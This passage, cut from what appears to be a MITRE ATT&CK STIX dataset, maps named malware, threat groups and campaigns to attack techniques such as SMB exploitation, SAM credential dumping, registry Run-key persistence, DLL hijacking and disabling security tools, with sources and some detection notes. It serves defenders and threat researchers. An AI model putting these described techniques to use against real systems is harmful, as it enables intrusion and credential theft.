2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:09:04.027Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation.(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Red Canary Emotet Feb 2019) ","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cb45812-e3cb-4f8b-949c-0e20bbeb6b15","created":"2024-05-22T22:14:35.228Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:14:35.228Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) dumped the SAM file on victim machines to capture credentials.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6cb50446-4ff7-49b7-a0e3-a7a9e7a1aaf0","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. Detecting the use of guardrails may be difficult depending on the implementation.","modified":"2022-04-19T23:52:55.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cb89bfe-73f6-47d8-beb5-f8b2d66e0bfd","type":"relationship","created":"2021-11-22T17:54:11.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:52:16.109Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) can unpack and decrypt its payload prior to execution.(Citation: Trend Micro DRBControl February 2020)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cbe59bb-e66e-456e-b230-5880ae6fd5ac","created":"2024-01-19T20:16:19.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:43:15.132Z","description":"[Ninja](https://attack.mitre.org/software/S1100) loaders can be side-loaded with legitimate and signed executables including the VLC.exe media player.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cc2d341-99a4-4d9a-895d-63f766fe79b9","created":"2021-10-01T01:57:31.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.710Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has disabled and uninstalled security tools such as Alibaba, Tencent, and BMC cloud monitoring agents on cloud-based infrastructure.(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cc7fc62-740a-47c4-988c-bdd9c5880c3f","type":"relationship","created":"2019-03-11T19:24:08.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.572Z","description":"[Empire](https://attack.mitre.org/software/S0363) can modify the registry run keys HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cc8e1ce-c007-4a26-bd3b-cac73bb98c73","type":"relationship","created":"2020-10-21T17:10:53.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-10-21T17:10:53.739Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has communicated with hosts over raw TCP on port 9999.(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ccac8cb-9e5f-4031-bf27-4ced4a1672d2","created":"2023-01-17T21:58:46.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T15:45:16.592Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used [AvosLocker](https://attack.mitre.org/software/S1053) ransomware to encrypt the compromised network.(Citation: Costa AvosLocker May 2022)(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ccbfb65-9be0-4b7c-947a-fb686e64985a","created":"2022-09-26T13:17:35.907Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T13:17:35.907Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can execute commands, including gathering user information, and send the results to C2.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cccc84e-8b42-444c-8d18-12628b0e353c","type":"relationship","created":"2021-08-31T16:56:02.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T17:40:03.849Z","description":"(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cce15df-4e0c-4eac-b597-5a301d450546","type":"relationship","created":"2021-01-28T15:47:55.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-08T17:35:16.087Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used malware to collect information on files and directories.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cd07a3b-18d3-40ec-ab3d-cd4ae952609c","type":"relationship","created":"2020-01-24T18:26:19.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T18:26:19.234Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300","target_ref":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cd1da58-6532-4800-816c-d1a74d586cdc","type":"relationship","created":"2019-04-19T15:30:36.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2020-03-20T02:23:34.918Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) can launch cmd.exe to execute commands on the system.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cd6dc77-210e-41d7-b534-88d5c21e6a9b","created":"2023-02-10T18:36:30.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:19:44.902Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can collect the username from an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cdada54-681f-47ac-834b-4d4e2c86ec75","created":"2021-09-07T14:18:54.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:19:45.224Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can identify the user on a targeted system.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cde759a-8c53-4b6e-a110-09fd8ad3759f","created":"2024-03-27T20:08:34.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:19:49.351Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) deployed the GOGETTER tunneler software to establish a “Yamux” TLS-based C2 channel with an external server(s).(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.475Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ce6e5d1-a9e1-43bb-a296-e6bd188081f4","created":"2023-03-26T15:33:34.241Z","revoked":false,"external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:33:34.241Z","description":"For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used numerous pieces of malware that were likely developed for or by the group, including [SUNBURST](https://attack.mitre.org/software/S0559), [SUNSPOT](https://attack.mitre.org/software/S0562), [Raindrop](https://attack.mitre.org/software/S0565), and [TEARDROP](https://attack.mitre.org/software/S0560).(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021) ","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cef3b8e-24de-41f0-b568-531211e0268a","type":"relationship","created":"2020-07-17T16:03:27.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:31.794Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can register itself for execution and persistence via the Control Panel.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cf0d062-e441-48ca-b675-2f01ae333b74","type":"relationship","created":"2019-09-13T17:02:27.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.928Z","description":"[Machete](https://attack.mitre.org/software/S0409)’s collected files are exfiltrated automatically to remote servers.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-17T00:54:56.954Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) collects the victim username and sends it to the C2 server.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cf502c8-58c4-41d5-abb1-f97492b1341c","type":"relationship","created":"2020-12-03T21:24:20.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-04T15:04:01.898Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) can use Windows API's ConnectNamedPipe and WNetAddConnection2 to detect incoming connections and connect to remote shares.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cfb2db1-9c74-42d3-9c64-e211ad8d1b45","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GetWindowLong function","description":"Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"},{"source_name":"Microsoft SetWindowLong function","description":"Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"},{"source_name":"Microsoft SendNotifyMessage function","description":"Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 